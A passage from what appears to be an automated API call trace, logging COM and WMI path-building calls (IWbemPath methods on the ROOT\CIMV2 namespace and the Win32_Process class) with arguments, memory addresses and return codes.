puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0149.555] WbemDefPath:IWbemPath:SetServer (This=0x1bbbef20, Name="Q9IATRKPRH") returned 0x0 [0149.555] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0149.555] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0149.555] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0149.555] IUnknown:Release (This=0x1a943398) returned 0x1 [0149.557] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc89590) returned 0x0 [0149.557] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc89590, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0149.558] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc89590, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbbee60) returned 0x0 [0149.558] WbemDefPath:IUnknown:Release (This=0x1bc89590) returned 0x0 [0149.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbee60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbbee60) returned 0x0 [0149.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbee60, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0149.558] WbemDefPath:IUnknown:AddRef (This=0x1bbbee60) returned 0x3 [0149.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbee60, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0149.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbee60, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0149.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbee60, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc89350) returned 0x0 [0149.558] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc89350, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0149.558] WbemDefPath:IUnknown:Release (This=0x1bc89350) returned 0x3 [0149.558] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0149.558] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0149.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbee60, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0149.559] WbemDefPath:IUnknown:Release (This=0x1bbbee60) returned 0x2 [0149.559] WbemDefPath:IUnknown:Release (This=0x1bbbee60) returned 0x1 [0149.559] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0149.559] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0149.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbee60, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbbee60) returned 0x0 [0149.559] WbemDefPath:IUnknown:AddRef (This=0x1bbbee60) returned 0x3 [0149.559] WbemDefPath:IUnknown:Release (This=0x1bbbee60) returned 0x2 [0149.559] WbemDefPath:IWbemPath:SetText (This=0x1bbbee60, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0149.559] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbef20, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0149.559] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbee60, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0149.559] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbee60, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0149.559] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbee60, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0149.559] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bbbef20) returned 0x0 [0149.559] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbee60, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0149.559] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbee60, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0149.559] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbee60, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0149.559] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbbef20, uIndex=0x0, pszName="ROOT") returned 0x0 [0149.559] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbee60, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0149.559] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbee60, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0149.559] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbbef20, uIndex=0x1, pszName="CIMV2") returned 0x0 [0149.559] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bbbef20, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0149.559] WbemDefPath:IWbemPath:SetClassName (This=0x1bbbef20, Name="Win32_Process") returned 0x0 [0149.559] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbef20, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0149.560] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbef20, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0149.560] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbef20, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0149.560] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbef20, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0149.560] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbef20, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0149.560] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbef20, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0149.560] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbef20, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0149.560] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbef20, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0149.560] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf220, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0149.560] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0149.560] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0149.560] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbef20, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0149.560] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbef20, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0149.560] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0149.560] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0149.560] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0149.560] IUnknown:Release (This=0x1a943398) returned 0x1 [0149.562] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bc88f30) returned 0x0 [0149.562] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc88f30, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0149.562] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc88f30, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bbbeda0) returned 0x0 [0149.562] WbemDefPath:IUnknown:Release (This=0x1bc88f30) returned 0x0 [0149.562] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbeda0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bbbeda0) returned 0x0 [0149.563] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbeda0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0149.563] WbemDefPath:IUnknown:AddRef (This=0x1bbbeda0) returned 0x3 [0149.563] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbeda0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0149.563] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbeda0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0149.563] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbeda0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bc88f70) returned 0x0 [0149.563] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc88f70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0149.563] WbemDefPath:IUnknown:Release (This=0x1bc88f70) returned 0x3 [0149.563] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0149.563] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0149.563] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbeda0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0149.563] WbemDefPath:IUnknown:Release (This=0x1bbbeda0) returned 0x2 [0149.563] WbemDefPath:IUnknown:Release (This=0x1bbbeda0) returned 0x1 [0149.563] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0149.563] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0149.563] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbeda0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bbbeda0) returned 0x0 [0149.564] WbemDefPath:IUnknown:AddRef (This=0x1bbbeda0) returned 0x3 [0149.564] WbemDefPath:IUnknown:Release (This=0x1bbbeda0) returned 0x2 [0149.564] WbemDefPath:IWbemPath:SetText (This=0x1bbbeda0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0149.564] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf220, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0149.564] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0149.564] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0149.564] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0149.564] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0149.564] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0149.564] IUnknown:Release (This=0x1a943398) returned 0x1 [0149.567] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc88eb0) returned 0x0 [0149.567] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc88eb0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0149.567] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc88eb0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbbece0) returned 0x0 [0149.567] WbemDefPath:IUnknown:Release (This=0x1bc88eb0) returned 0x0 [0149.567] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbece0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbbece0) returned 0x0 [0149.567] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbece0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0149.568] WbemDefPath:IUnknown:AddRef (This=0x1bbbece0) returned 0x3 [0149.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbece0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0149.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbece0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0149.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbece0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc88ef0) returned 0x0 [0149.568] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc88ef0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0149.568] WbemDefPath:IUnknown:Release (This=0x1bc88ef0) returned 0x3 [0149.568] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0149.568] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0149.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbece0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0149.568] WbemDefPath:IUnknown:Release (This=0x1bbbece0) returned 0x2 [0149.568] WbemDefPath:IUnknown:Release (This=0x1bbbece0) returned 0x1 [0149.568] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0149.568] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0149.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbece0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbbece0) returned 0x0 [0149.568] WbemDefPath:IUnknown:AddRef (This=0x1bbbece0) returned 0x3 [0149.569] WbemDefPath:IUnknown:Release (This=0x1bbbece0) returned 0x2 [0149.569] WbemDefPath:IWbemPath:SetText (This=0x1bbbece0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbeda0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbece0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbece0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbece0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0149.569] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bbbeda0) returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbece0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbece0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbece0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0149.569] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbbeda0, uIndex=0x0, pszName="root") returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbece0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbece0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0149.569] 